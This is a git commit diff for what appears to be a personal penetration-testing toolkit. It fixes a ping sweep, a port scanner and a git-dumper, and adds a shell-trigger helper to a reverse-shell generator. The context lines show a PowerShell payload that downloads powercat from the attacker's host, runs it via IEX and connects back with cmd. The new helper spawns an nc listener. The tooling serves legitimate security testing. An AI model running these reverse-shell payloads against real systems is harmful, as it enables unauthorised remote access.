Ping/Portscan update, git-dumper fix, genRevShell trigger shell

This commit is contained in:
Roman Hergenreder 2021-05-14 16:49:49 +02:00
parent 73c9f72561
commit ec70ac9c60
4 changed files with 18 additions and 20 deletions

@ -28,6 +28,11 @@ def generatePayload(type, local_address, port):
elif type == "powercat" or type == "powershell": elif type == "powercat" or type == "powershell":
return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port) return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port)
def triggerShell(func, port):
func()
pty.spawn(["nc", "-lvvp", str(port)])
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv) < 2: if len(sys.argv) < 2:

@ -453,6 +453,7 @@ def fetch_git(url, directory, jobs, retry, timeout, module=".git"):
os.path.join(directory, module, 'FETCH_HEAD'), os.path.join(directory, module, 'FETCH_HEAD'),
os.path.join(directory, module, 'ORIG_HEAD'), os.path.join(directory, module, 'ORIG_HEAD'),
] ]
for dirpath, _, filenames in os.walk(os.path.join(directory, module, 'refs')): for dirpath, _, filenames in os.walk(os.path.join(directory, module, 'refs')):
for filename in filenames: for filename in filenames:
files.append(os.path.join(dirpath, filename)) files.append(os.path.join(dirpath, filename))
@ -496,11 +497,11 @@ def fetch_git(url, directory, jobs, retry, timeout, module=".git"):
# fetch all objects # fetch all objects
printf('[-] Fetching objects\n') printf('[-] Fetching objects\n')
# process_tasks(objs, process_tasks(objs,
# FindObjectsWorker, FindObjectsWorker,
# jobs, jobs,
# args=(url, directory, retry, timeout, module), args=(url, directory, retry, timeout, module),
# tasks_done=packed_objs) tasks_done=packed_objs)
# git checkout # git checkout
if module == ".git": if module == ".git":

@ -4,20 +4,16 @@ import sys
import os import os
import ipaddress import ipaddress
import subprocess import subprocess
from importlib import util
threading_spec = util.find_spec("threading") try:
queue_spec = util.find_spec("queue")
if threading_spec is not None and queue_spec is not None:
import threading import threading
import queue import queue
NUM_THREADS = 10 NUM_THREADS = 10
THREADING_ENABLED = True THREADING_ENABLED = True
QUEUE = queue.Queue() QUEUE = queue.Queue()
else: except:
THREADING_ENABLED = False THREADING_ENABLED = False
def checkHost(host): def checkHost(host):
proc = subprocess.Popen(["ping", str(host), "-c", "1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc = subprocess.Popen(["ping", str(host), "-c", "1"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
return proc.wait() == 0 return proc.wait() == 0

@ -3,22 +3,18 @@
import socket import socket
import sys import sys
import re import re
from importlib import util
threading_spec = util.find_spec("threading") try:
queue_spec = util.find_spec("queue")
if threading_spec is not None and queue_spec is not None:
import threading import threading
import queue import queue
NUM_THREADS = 10 NUM_THREADS = 10
THREADING_ENABLED = True THREADING_ENABLED = True
QUEUE = queue.Queue() QUEUE = queue.Queue()
else: except:
THREADING_ENABLED = False THREADING_ENABLED = False
if len(sys.argv) < 2: if len(sys.argv) < 2:
print("Usage: %s <host> [ports] [num_threads]") print("Usage: %s <host> [ports] [num_threads]" % sys.argv[0])
exit(1) exit(1)
host = sys.argv[1] host = sys.argv[1]
@ -26,7 +22,7 @@ ports = range(1,1001)
if len(sys.argv) >= 3: if len(sys.argv) >= 3:
ports_param = sys.argv[2] ports_param = sys.argv[2]
pattern = re.compile("^(\\d)+(-(\\d+)?)?$") pattern = re.compile("^(\\d+)(-(\\d+)?)?$")
m = pattern.match(ports_param) m = pattern.match(ports_param)
if m is None: if m is None:
print("Invalid port range") print("Invalid port range")